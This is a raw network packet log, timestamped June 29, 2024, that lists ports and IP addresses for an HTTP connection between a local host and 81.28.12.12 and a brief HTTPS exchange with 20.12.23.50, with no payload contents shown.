Jun 29, 2024 08:05:10.859853029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.859877110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.859910011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.859930992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.859958887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.859999895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860033035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860053062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860085011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860110044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860141993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860166073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860188961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860215902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860249996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860272884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860313892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860342026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860377073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860397100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860425949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860447884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860511065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860549927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860583067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860604048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860632896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860657930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860691071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860711098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860738039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860763073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860810041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860833883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860867023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860893011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860909939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.860938072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860971928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.860991955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861020088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861042023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861092091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861112118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861145020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861171007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861196041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861219883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861257076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861278057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861319065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861336946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861370087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861387014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861448050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861463070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861494064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861527920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861553907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861567974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861608028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861620903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861651897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861673117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861705065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861721992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861753941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861787081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861808062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861829042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861862898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861882925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861912012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.861932993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861963987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.861984015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.862013102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.862034082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.862066984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.862087011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.862111092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.862138033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.862170935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.862190962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.862220049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.862241983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.862278938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.862298012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.862327099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.862344980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.862379074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.862397909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.862426996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.981436968 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:10.981467962 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:10.981538057 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:10.983692884 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:10.983706951 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:11.147308111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147383928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.147418022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147454023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147476912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.147514105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.147546053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147598982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.147622108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147669077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.147692919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147727013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147747993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.147775888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.147799969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147833109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147852898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.147881985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.147905111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.147964001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.148403883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.148433924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.148461103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.148499012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.148555994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.148643970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.148664951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.148695946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.148715973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.148750067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.148768902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.148797035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.149147034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.149200916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.149223089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.149262905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.149291039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.149324894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.149344921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.149373055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.149395943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.149426937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.149446964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.149492025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.149961948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.150027990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.150084972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.150118113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.150136948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.150160074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.150188923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.150221109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.150240898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.150268078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.150290012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.150336981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.150921106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.150981903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.150996923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.151036024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.151062965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.151097059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.151118040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.151145935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.151169062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.151215076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.151752949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.151787043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.151808977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.151834011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.151860952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.151904106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.151917934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.151948929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.152002096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.152029991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.152051926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.152076006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.152597904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.152632952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.152657032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.152673960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.152704954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.152753115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.152812958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.152854919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.152870893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.152904987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.152926922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.152972937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.153398037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.153450966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.153470993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.153501034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.153521061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.153562069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.153589010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.153624058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.153645992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.153673887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.153698921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.153744936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.154356003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.154407978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.154428005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.154459953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.154479027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.154510975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.154529095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.154562950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.154582024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.154613972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.155335903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.155390024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.155407906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.155445099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.155464888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.155493021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.155515909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.155550003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.155569077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.155596972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.155991077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.156052113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.156079054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.156126022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.442663908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.442708015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.442753077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.442806959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.442828894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.442863941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.442897081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.442934990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.442958117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.442959070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.442982912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.443008900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443063974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443099022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.443119049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443150997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443183899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.443207979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443252087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443265915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.443284035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.443316936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443506002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.443762064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443790913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443820000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.443865061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443902016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.443919897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.443953991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.443974972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.444010973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.444035053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.444199085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.444952011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445007086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445058107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445095062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.445117950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445148945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.445173025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445200920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.445472956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.445496082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445528984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445576906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.445604086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445647955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.445683002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445718050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445753098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.445781946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.445816040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.445852995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.446305037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.446360111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.446438074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.446439028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.446461916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.446496964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.446531057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.446552992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.446584940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.446616888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.446616888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.446640015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.447253942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.447305918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.447339058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.447376966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.447376966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.447398901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.447432995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.447455883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.447489977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.447509050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.447540998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.447714090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.448065996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.448101044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.448137999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.448173046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.448193073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.448246956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.448288918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.448307991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.448342085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.448944092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.448975086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449028015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449052095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.449053049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.449089050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449125051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.449145079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449179888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.449203014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449237108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.449723959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449752092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449786901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.449810028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449853897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.449882030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449911118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.449950933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.449995995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:11.450017929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:11.450144053 CEST	49731	80	192.168.2.4	81.28.12.12
